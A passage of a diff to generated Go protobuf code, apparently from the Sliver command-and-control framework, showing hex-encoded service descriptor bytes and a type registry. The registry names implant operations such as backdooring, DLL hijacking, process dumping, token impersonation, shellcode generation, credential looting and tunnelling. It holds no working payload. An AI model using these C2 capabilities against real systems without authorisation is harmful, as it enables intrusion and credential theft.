0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, - 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, - 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, - 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, - 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, - 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, - 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, - 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, - 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, - 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, - 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, - 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, - 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, - 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x33, + 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, + 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, + 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, + 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, + 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, + 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, + 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, + 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, + 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, + 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, + 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, + 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, + 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, + 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, + 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, + 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, + 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, + 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, + 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, + 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, + 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, + 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x33, } var file_rpcpb_services_proto_goTypes = []interface{}{ @@ -704,577 +716,587 @@ var file_rpcpb_services_proto_goTypes = []interface{}{ (*sliverpb.KillReq)(nil), // 2: sliverpb.KillReq (*sliverpb.ReconfigureReq)(nil), // 3: sliverpb.ReconfigureReq (*clientpb.RenameReq)(nil), // 4: clientpb.RenameReq - (*clientpb.MonitoringProvider)(nil), // 5: clientpb.MonitoringProvider - (*clientpb.MTLSListenerReq)(nil), // 6: clientpb.MTLSListenerReq - (*clientpb.WGListenerReq)(nil), // 7: clientpb.WGListenerReq - (*clientpb.DNSListenerReq)(nil), // 8: clientpb.DNSListenerReq - (*clientpb.HTTPListenerReq)(nil), // 9: clientpb.HTTPListenerReq - (*clientpb.Beacon)(nil), // 10: clientpb.Beacon - (*clientpb.BeaconTask)(nil), // 11: clientpb.BeaconTask - (*clientpb.KillJobReq)(nil), // 12: clientpb.KillJobReq - (*clientpb.RestartJobReq)(nil), // 13: clientpb.RestartJobReq - (*clientpb.StagerListenerReq)(nil), // 14: clientpb.StagerListenerReq - (*clientpb.Loot)(nil), // 15: clientpb.Loot - (*clientpb.Credentials)(nil), // 16: clientpb.Credentials - (*clientpb.Credential)(nil), // 17: clientpb.Credential - (*clientpb.Host)(nil), // 18: clientpb.Host - (*clientpb.IOC)(nil), // 19: clientpb.IOC - (*clientpb.GenerateReq)(nil), // 20: clientpb.GenerateReq - (*clientpb.ExternalGenerateReq)(nil), // 21: clientpb.ExternalGenerateReq - (*clientpb.ExternalImplantBinary)(nil), // 22: clientpb.ExternalImplantBinary - (*clientpb.ImplantBuild)(nil), // 23: clientpb.ImplantBuild - (*clientpb.GenerateStageReq)(nil), // 24: clientpb.GenerateStageReq - (*clientpb.ImplantStageReq)(nil), // 25: clientpb.ImplantStageReq - (*clientpb.C2ProfileReq)(nil), // 26: clientpb.C2ProfileReq - (*clientpb.HTTPC2ConfigReq)(nil), // 27: clientpb.HTTPC2ConfigReq - (*clientpb.Builder)(nil), // 28: clientpb.Builder - (*clientpb.Event)(nil), // 29: clientpb.Event - (*clientpb.Crackstation)(nil), // 30: clientpb.Crackstation - (*clientpb.CrackBenchmark)(nil), // 31: clientpb.CrackBenchmark - (*clientpb.CrackTask)(nil), // 32: clientpb.CrackTask - (*clientpb.CrackFile)(nil), // 33: clientpb.CrackFile - (*clientpb.CrackFileChunk)(nil), // 34: clientpb.CrackFileChunk - (*clientpb.RegenerateReq)(nil), // 35: clientpb.RegenerateReq - (*clientpb.DeleteReq)(nil), // 36: clientpb.DeleteReq - (*clientpb.ImplantProfile)(nil), // 37: clientpb.ImplantProfile - (*clientpb.MsfStagerReq)(nil), // 38: clientpb.MsfStagerReq - (*clientpb.ShellcodeRDIReq)(nil), // 39: clientpb.ShellcodeRDIReq - (*clientpb.ShellcodeEncodeReq)(nil), // 40: clientpb.ShellcodeEncodeReq - (*clientpb.TrafficEncoder)(nil), // 41: clientpb.TrafficEncoder - (*clientpb.Website)(nil), // 42: clientpb.Website - (*clientpb.WebsiteAddContent)(nil), // 43: clientpb.WebsiteAddContent - (*clientpb.WebsiteRemoveContent)(nil), // 44: clientpb.WebsiteRemoveContent - (*sliverpb.Ping)(nil), // 45: sliverpb.Ping - (*sliverpb.PsReq)(nil), // 46: sliverpb.PsReq - (*sliverpb.TerminateReq)(nil), // 47: sliverpb.TerminateReq - (*sliverpb.IfconfigReq)(nil), // 48: sliverpb.IfconfigReq - (*sliverpb.NetstatReq)(nil), // 49: sliverpb.NetstatReq - (*sliverpb.LsReq)(nil), // 50: sliverpb.LsReq - (*sliverpb.CdReq)(nil), // 51: sliverpb.CdReq - (*sliverpb.PwdReq)(nil), // 52: sliverpb.PwdReq - (*sliverpb.MvReq)(nil), // 53: sliverpb.MvReq - (*sliverpb.CpReq)(nil), // 54: sliverpb.CpReq - (*sliverpb.RmReq)(nil), // 55: sliverpb.RmReq - (*sliverpb.MkdirReq)(nil), // 56: sliverpb.MkdirReq - (*sliverpb.DownloadReq)(nil), // 57: sliverpb.DownloadReq - (*sliverpb.UploadReq)(nil), // 58: sliverpb.UploadReq - (*sliverpb.GrepReq)(nil), // 59: sliverpb.GrepReq - (*sliverpb.ChmodReq)(nil), // 60: sliverpb.ChmodReq - (*sliverpb.ChownReq)(nil), // 61: sliverpb.ChownReq - (*sliverpb.ChtimesReq)(nil), // 62: sliverpb.ChtimesReq - (*sliverpb.MemfilesListReq)(nil), // 63: sliverpb.MemfilesListReq - (*sliverpb.MemfilesAddReq)(nil), // 64: sliverpb.MemfilesAddReq - (*sliverpb.MemfilesRmReq)(nil), // 65: sliverpb.MemfilesRmReq - (*sliverpb.ProcessDumpReq)(nil), // 66: sliverpb.ProcessDumpReq - (*sliverpb.RunAsReq)(nil), // 67: sliverpb.RunAsReq - (*sliverpb.ImpersonateReq)(nil), // 68: sliverpb.ImpersonateReq - (*sliverpb.RevToSelfReq)(nil), // 69: sliverpb.RevToSelfReq - (*clientpb.GetSystemReq)(nil), // 70: clientpb.GetSystemReq - (*sliverpb.TaskReq)(nil), // 71: sliverpb.TaskReq - (*clientpb.MSFReq)(nil), // 72: clientpb.MSFReq - (*clientpb.MSFRemoteReq)(nil), // 73: clientpb.MSFRemoteReq - (*sliverpb.ExecuteAssemblyReq)(nil), // 74: sliverpb.ExecuteAssemblyReq - (*clientpb.MigrateReq)(nil), // 75: clientpb.MigrateReq - (*sliverpb.ExecuteReq)(nil), // 76: sliverpb.ExecuteReq - (*sliverpb.ExecuteWindowsReq)(nil), // 77: sliverpb.ExecuteWindowsReq - (*sliverpb.SideloadReq)(nil), // 78: sliverpb.SideloadReq - (*sliverpb.InvokeSpawnDllReq)(nil), // 79: sliverpb.InvokeSpawnDllReq - (*sliverpb.ScreenshotReq)(nil), // 80: sliverpb.ScreenshotReq - (*sliverpb.CurrentTokenOwnerReq)(nil), // 81: sliverpb.CurrentTokenOwnerReq - (*sliverpb.PivotStartListenerReq)(nil), // 82: sliverpb.PivotStartListenerReq - (*sliverpb.PivotStopListenerReq)(nil), // 83: sliverpb.PivotStopListenerReq - (*sliverpb.PivotListenersReq)(nil), // 84: sliverpb.PivotListenersReq - (*sliverpb.StartServiceReq)(nil), // 85: sliverpb.StartServiceReq - (*sliverpb.StopServiceReq)(nil), // 86: sliverpb.StopServiceReq - (*sliverpb.RemoveServiceReq)(nil), // 87: sliverpb.RemoveServiceReq - (*sliverpb.MakeTokenReq)(nil), // 88: sliverpb.MakeTokenReq - (*sliverpb.EnvReq)(nil), // 89: sliverpb.EnvReq - (*sliverpb.SetEnvReq)(nil), // 90: sliverpb.SetEnvReq - (*sliverpb.UnsetEnvReq)(nil), // 91: sliverpb.UnsetEnvReq - (*clientpb.BackdoorReq)(nil), // 92: clientpb.BackdoorReq - (*sliverpb.RegistryReadReq)(nil), // 93: sliverpb.RegistryReadReq - (*sliverpb.RegistryWriteReq)(nil), // 94: sliverpb.RegistryWriteReq - (*sliverpb.RegistryCreateKeyReq)(nil), // 95: sliverpb.RegistryCreateKeyReq - (*sliverpb.RegistryDeleteKeyReq)(nil), // 96: sliverpb.RegistryDeleteKeyReq - (*sliverpb.RegistrySubKeyListReq)(nil), // 97: sliverpb.RegistrySubKeyListReq - (*sliverpb.RegistryListValuesReq)(nil), // 98: sliverpb.RegistryListValuesReq - (*sliverpb.SSHCommandReq)(nil), // 99: sliverpb.SSHCommandReq - (*clientpb.DllHijackReq)(nil), // 100: clientpb.DllHijackReq - (*sliverpb.GetPrivsReq)(nil), // 101: sliverpb.GetPrivsReq - (*sliverpb.RportFwdStartListenerReq)(nil), // 102: sliverpb.RportFwdStartListenerReq - (*sliverpb.RportFwdListenersReq)(nil), // 103: sliverpb.RportFwdListenersReq - (*sliverpb.RportFwdStopListenerReq)(nil), // 104: sliverpb.RportFwdStopListenerReq - (*sliverpb.OpenSession)(nil), // 105: sliverpb.OpenSession - (*sliverpb.CloseSession)(nil), // 106: sliverpb.CloseSession - (*sliverpb.RegisterExtensionReq)(nil), // 107: sliverpb.RegisterExtensionReq - (*sliverpb.CallExtensionReq)(nil), // 108: sliverpb.CallExtensionReq - (*sliverpb.ListExtensionsReq)(nil), // 109: sliverpb.ListExtensionsReq - (*sliverpb.RegisterWasmExtensionReq)(nil), // 110: sliverpb.RegisterWasmExtensionReq - (*sliverpb.ListWasmExtensionsReq)(nil), // 111: sliverpb.ListWasmExtensionsReq - (*sliverpb.ExecWasmExtensionReq)(nil), // 112: sliverpb.ExecWasmExtensionReq - (*sliverpb.WGPortForwardStartReq)(nil), // 113: sliverpb.WGPortForwardStartReq - (*sliverpb.WGPortForwardStopReq)(nil), // 114: sliverpb.WGPortForwardStopReq - (*sliverpb.WGSocksStartReq)(nil), // 115: sliverpb.WGSocksStartReq - (*sliverpb.WGSocksStopReq)(nil), // 116: sliverpb.WGSocksStopReq - (*sliverpb.WGTCPForwardersReq)(nil), // 117: sliverpb.WGTCPForwardersReq - (*sliverpb.WGSocksServersReq)(nil), // 118: sliverpb.WGSocksServersReq - (*sliverpb.ShellReq)(nil), // 119: sliverpb.ShellReq - (*sliverpb.PortfwdReq)(nil), // 120: sliverpb.PortfwdReq - (*sliverpb.Socks)(nil), // 121: sliverpb.Socks - (*sliverpb.SocksData)(nil), // 122: sliverpb.SocksData - (*sliverpb.Tunnel)(nil), // 123: sliverpb.Tunnel - (*sliverpb.TunnelData)(nil), // 124: sliverpb.TunnelData - (*clientpb.Version)(nil), // 125: clientpb.Version - (*clientpb.Operators)(nil), // 126: clientpb.Operators - (*sliverpb.Reconfigure)(nil), // 127: sliverpb.Reconfigure - (*clientpb.Sessions)(nil), // 128: clientpb.Sessions - (*commonpb.Response)(nil), // 129: commonpb.Response - (*clientpb.MonitoringProviders)(nil), // 130: clientpb.MonitoringProviders - (*clientpb.ListenerJob)(nil), // 131: clientpb.ListenerJob - (*clientpb.Beacons)(nil), // 132: clientpb.Beacons - (*clientpb.BeaconTasks)(nil), // 133: clientpb.BeaconTasks - (*clientpb.Jobs)(nil), // 134: clientpb.Jobs - (*clientpb.KillJob)(nil), // 135: clientpb.KillJob - (*clientpb.StagerListener)(nil), // 136: clientpb.StagerListener - (*clientpb.AllLoot)(nil), // 137: clientpb.AllLoot - (*clientpb.AllHosts)(nil), // 138: clientpb.AllHosts - (*clientpb.Generate)(nil), // 139: clientpb.Generate - (*clientpb.ExternalImplantConfig)(nil), // 140: clientpb.ExternalImplantConfig - (*clientpb.HTTPC2Configs)(nil), // 141: clientpb.HTTPC2Configs - (*clientpb.HTTPC2Config)(nil), // 142: clientpb.HTTPC2Config - (*clientpb.Builders)(nil), // 143: clientpb.Builders - (*clientpb.Crackstations)(nil), // 144: clientpb.Crackstations - (*clientpb.CrackFiles)(nil), // 145: clientpb.CrackFiles - (*clientpb.ImplantBuilds)(nil), // 146: clientpb.ImplantBuilds - (*clientpb.Canaries)(nil), // 147: clientpb.Canaries - (*clientpb.WGClientConfig)(nil), // 148: clientpb.WGClientConfig - (*clientpb.UniqueWGIP)(nil), // 149: clientpb.UniqueWGIP - (*clientpb.ImplantProfiles)(nil), // 150: clientpb.ImplantProfiles - (*clientpb.MsfStager)(nil), // 151: clientpb.MsfStager - (*clientpb.ShellcodeRDI)(nil), // 152: clientpb.ShellcodeRDI - (*clientpb.Compiler)(nil), // 153: clientpb.Compiler - (*clientpb.ShellcodeEncode)(nil), // 154: clientpb.ShellcodeEncode - (*clientpb.ShellcodeEncoderMap)(nil), // 155: clientpb.ShellcodeEncoderMap - (*clientpb.TrafficEncoderMap)(nil), // 156: clientpb.TrafficEncoderMap - (*clientpb.TrafficEncoderTests)(nil), // 157: clientpb.TrafficEncoderTests - (*clientpb.Websites)(nil), // 158: clientpb.Websites - (*sliverpb.Ps)(nil), // 159: sliverpb.Ps - (*sliverpb.Terminate)(nil), // 160: sliverpb.Terminate - (*sliverpb.Ifconfig)(nil), // 161: sliverpb.Ifconfig - (*sliverpb.Netstat)(nil), // 162: sliverpb.Netstat - (*sliverpb.Ls)(nil), // 163: sliverpb.Ls - (*sliverpb.Pwd)(nil), // 164: sliverpb.Pwd - (*sliverpb.Mv)(nil), // 165: sliverpb.Mv - (*sliverpb.Cp)(nil), // 166: sliverpb.Cp - (*sliverpb.Rm)(nil), // 167: sliverpb.Rm - (*sliverpb.Mkdir)(nil), // 168: sliverpb.Mkdir - (*sliverpb.Download)(nil), // 169: sliverpb.Download - (*sliverpb.Upload)(nil), // 170: sliverpb.Upload - (*sliverpb.Grep)(nil), // 171: sliverpb.Grep - (*sliverpb.Chmod)(nil), // 172: sliverpb.Chmod - (*sliverpb.Chown)(nil), // 173: sliverpb.Chown - (*sliverpb.Chtimes)(nil), // 174: sliverpb.Chtimes - (*sliverpb.MemfilesAdd)(nil), // 175: sliverpb.MemfilesAdd - (*sliverpb.MemfilesRm)(nil), // 176: sliverpb.MemfilesRm - (*sliverpb.ProcessDump)(nil), // 177: sliverpb.ProcessDump - (*sliverpb.RunAs)(nil), // 178: sliverpb.RunAs - (*sliverpb.Impersonate)(nil), // 179: sliverpb.Impersonate - (*sliverpb.RevToSelf)(nil), // 180: sliverpb.RevToSelf - (*sliverpb.GetSystem)(nil), // 181: sliverpb.GetSystem - (*sliverpb.Task)(nil), // 182: sliverpb.Task - (*sliverpb.ExecuteAssembly)(nil), // 183: sliverpb.ExecuteAssembly - (*sliverpb.Migrate)(nil), // 184: sliverpb.Migrate - (*sliverpb.Execute)(nil), // 185: sliverpb.Execute - (*sliverpb.Sideload)(nil), // 186: sliverpb.Sideload - (*sliverpb.SpawnDll)(nil), // 187: sliverpb.SpawnDll - (*sliverpb.Screenshot)(nil), // 188: sliverpb.Screenshot - (*sliverpb.CurrentTokenOwner)(nil), // 189: sliverpb.CurrentTokenOwner - (*sliverpb.PivotListener)(nil), // 190: sliverpb.PivotListener - (*sliverpb.PivotListeners)(nil), // 191: sliverpb.PivotListeners - (*clientpb.PivotGraph)(nil), // 192: clientpb.PivotGraph - (*sliverpb.ServiceInfo)(nil), // 193: sliverpb.ServiceInfo - (*sliverpb.MakeToken)(nil), // 194: sliverpb.MakeToken - (*sliverpb.EnvInfo)(nil), // 195: sliverpb.EnvInfo - (*sliverpb.SetEnv)(nil), // 196: sliverpb.SetEnv - (*sliverpb.UnsetEnv)(nil), // 197: sliverpb.UnsetEnv - (*clientpb.Backdoor)(nil), // 198: clientpb.Backdoor - (*sliverpb.RegistryRead)(nil), // 199: sliverpb.RegistryRead - (*sliverpb.RegistryWrite)(nil), // 200: sliverpb.RegistryWrite - (*sliverpb.RegistryCreateKey)(nil), // 201: sliverpb.RegistryCreateKey - (*sliverpb.RegistryDeleteKey)(nil), // 202: sliverpb.RegistryDeleteKey - (*sliverpb.RegistrySubKeyList)(nil), // 203: sliverpb.RegistrySubKeyList - (*sliverpb.RegistryValuesList)(nil), // 204: sliverpb.RegistryValuesList - (*sliverpb.SSHCommand)(nil), // 205: sliverpb.SSHCommand - (*clientpb.DllHijack)(nil), // 206: clientpb.DllHijack - (*sliverpb.GetPrivs)(nil), // 207: sliverpb.GetPrivs - (*sliverpb.RportFwdListener)(nil), // 208: sliverpb.RportFwdListener - (*sliverpb.RportFwdListeners)(nil), // 209: sliverpb.RportFwdListeners - (*sliverpb.RegisterExtension)(nil), // 210: sliverpb.RegisterExtension - (*sliverpb.CallExtension)(nil), // 211: sliverpb.CallExtension - (*sliverpb.ListExtensions)(nil), // 212: sliverpb.ListExtensions - (*sliverpb.RegisterWasmExtension)(nil), // 213: sliverpb.RegisterWasmExtension - (*sliverpb.ListWasmExtensions)(nil), // 214: sliverpb.ListWasmExtensions - (*sliverpb.ExecWasmExtension)(nil), // 215: sliverpb.ExecWasmExtension - (*sliverpb.WGPortForward)(nil), // 216: sliverpb.WGPortForward - 